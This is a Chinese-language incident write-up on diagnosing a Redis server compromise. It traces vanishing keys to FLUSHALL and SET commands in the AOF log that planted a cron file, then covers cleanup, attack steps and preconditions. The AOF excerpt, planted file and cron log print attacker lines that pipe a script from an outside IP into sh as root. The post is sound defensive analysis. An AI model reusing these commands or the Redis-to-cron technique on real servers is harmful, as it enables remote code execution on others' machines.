记一次redis攻击排查

排查过程

  • 开发环境redis key反复丢失
  • 启用aof持久化方式,记录每一个写命令,重启redis服务器
  • redis key再次丢失
  • 查看aof文件内容
  • 排查导致key被删除的命令,del无,出现flushall
  • 查看flushall周边命令
     1  $8
     2  flushall
     3  *3
     4  $3
     5  set
     6  $2
     7  r1
     8  $51
     9
    10
    11  * * * * * root curl -fsS 94.237.85.89:8080/0|sh
    12
    13
    14  *3
    15  $3
    16  set
    17  $2
    18  r2
    19  $51
    20
    21
    22  * * * * * root wget -qO- 94.237.85.89:8080/0|sh
    23
    24
    25  *1
    26  $8
    27  flushall
    
  • 外部客户端连接到了redis执行恶意命令,类似于https://github.com/redis/redis/issues/3594
  • 检查crontab列表
    1crontab -l
    
    没发现定时任务,检查cron默认读取的目录文件:
    1ll /etc/cron.d
    2total 12
    3-rw-r--r--. 1 root root 128 Mar 31  2016 0hourly
    4-rw-------  1 root root 235 Nov  6  2016 sysstat
    5-rw-r--r--  1 root root 209 Oct 15 12:35 systemdd
    
    systemdd这个文件今天更新过
     1REDIS0009�	redis-ver5.0.5�
     2redis-bits�@�ctime‹ч_used-mem��H�
     3                                 aof-preamble���r23
     4
     5* * * * * root wget -qO- 94.237.85.89:8080/0|sh
     6
     7r13
     8
     9* * * * * root curl -fsS 94.237.85.89:8080/0|sh
    10
    11��D��6-�
    
    乱码中看到了熟悉的“面孔”,果断删除文件。
  • 检查crontab日志
    1tail -f /var/log/cron
    2Oct 15 15:40:01 sophonsitapp13 CROND[648]: (root) CMD (curl -fsS 94.237.85.89:8080/0|sh)
    3Oct 15 15:40:01 sophonsitapp13 CROND[647]: (root) CMD (wget -qO- 94.237.85.89:8080/0|sh)
    
    还在每分钟执行一次,重启进程:
    1systemctl start crond.service
    
  • redis安全加固

攻击方式总结

  • 连接到暴露在公网的redis
  • 清空数据库
  • 设置cron文件名称
  • 设置定时任务
    • 抓取外网bash脚本并执行
  • 数据库写文件
  • 清空数据库

攻击生效的条件

  • 以root用户运行redis
  • redis暴露公网且无密码
  • 使用了默认的6379
  • 允许执行FLUSHALL CONFIG SET SAVE等命令

参考